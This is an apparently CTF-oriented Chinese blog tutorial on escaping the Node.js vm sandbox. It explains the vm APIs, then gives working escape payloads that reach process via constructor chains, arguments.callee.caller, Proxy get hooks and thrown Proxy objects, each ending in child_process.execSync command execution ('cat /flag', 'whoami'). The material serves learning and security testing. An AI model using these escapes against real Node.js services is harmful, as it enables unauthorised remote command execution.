vm沙箱逃逸


如果想要实现沙箱的隔离作用,我们是不是可以创建一个新的作用域,让代码在这个新的作用域里面去运行,这样就和其他的作用域进行了隔离,这也就是vm模块运行的原理,先来了解几个常用的vm模块的API。

vm.runinThisContext(code):

在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性

const vm = require('vm');
let localVar = 'initial value';
const vmResult = vm.runInThisContext('localVar = "vm";');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'vm', localVar: 'initial value'

导入vm模块,创建变量localVar值为initial value,由于sandbox中可以访问到global中的属性,但无法访问其他包中的属性。所以const vmResult = vm.runInThisContext(‘localVar = “vm”;’);的执行结果vmResult的值为vm,而localVar无法访问所以值仍为initial value

0

vm.createContext([sandbox]):

在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

vm.runInContext(code, contextifiedSandbox[, options]):

参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

const util = require('util');
  const vm = require('vm');
  global.globalVar = 3;
  const sandbox = { globalVar: 1 };
  vm.createContext(sandbox);
  vm.runInContext('globalVar *= 2;', sandbox);
  console.log(util.inspect(sandbox)); // { globalVar: 2 }
  console.log(util.inspect(globalVar)); // 3

创建的这个sandbox沙箱对象无法访问global属性,所以值仍为3

**vm.runInNewContext(code[, sandbox][, options]):**creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。

vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行

new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。

**code:**要被解析的JavaScript代码

const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }

我们一般进行沙箱逃逸最后都是进行rce,那么在Node里要进行rce就需要procces了,在获取到process对象后我们就可以用require来导入child_process,再利用child_process执行命令。但process挂载在global上,但是我们上面说了在creatContext后是不能访问到global的,所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。

如果我们把代码改成这样(code参数最好用反引号包裹,这样可以使code更严格便于执行):

"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1);

vm.runInNewContext(this.constructor.constructor('return process.env')());解析:

首先这里面的this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的,我们通过这个对象获取到它的构造器,再获得一个构造器对象的构造器(此时为Function的constructor),最后的()是调用这个用Function的constructor生成的函数,最终返回了一个process对象。

下面这行代码也可以达到相同的效果:

const y1 = vm.runInNewContext(this.toString.constructor('return process')());

然后我们就可以通过返回的process对象来rce了

y1.mainModule.require('child_process').execSync('cat /flag').toString()

vm沙箱逃逸的一些其他情况

const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

我们现在的this为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。

我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。

const vm = require('vm');
const script = 
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

分析一下这段代码,我们在沙箱内先创建了一个对象,并且将这个对象的toString方法进行了重写,通过arguments.callee.caller获得到沙箱外的一个对象,利用这个对象的构造函数的构造函数返回了process,再调用process进行rce,沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。

如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性

const vm = require("vm");

const script = 
`
(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

触发利用链的逻辑就是我们在get:这个钩子里写了一个恶意函数,当我们在沙箱外访问proxy对象的任意属性(不论是否存在)这个钩子就会自动运行,实现了rce。

如果沙箱的返回值返回的是我们无法利用的对象或者没有返回值应该怎么进行逃逸呢?

我们可以借助异常,将沙箱内的对象抛出去,然后在外部输出

const vm = require("vm");

const script = 
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}

这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来


文章作者: YUNiversity
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YUNiversity !
评论
  目录